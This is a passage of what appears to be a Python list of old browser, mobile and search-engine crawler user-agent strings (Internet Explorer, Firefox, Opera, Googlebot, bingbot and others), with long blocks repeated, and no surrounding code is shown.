'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com',
'Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)',
'Mozilla/4.0 (compatible; Arachmo)', 'Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)',
'BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)',
'Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (<EMAIL>; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (<EMAIL>; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 (<EMAIL>; http://www.WISEnutbot.com)',
'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1',
'Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A',
'Mozilla/5.0 (PLAYSTATION 3; 3.55)', 'Mozilla/5.0 (PLAYSTATION 3; 2.00)',
'Mozilla/5.0 (PLAYSTATION 3; 1.00)',
'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0',
'Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)',
'SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
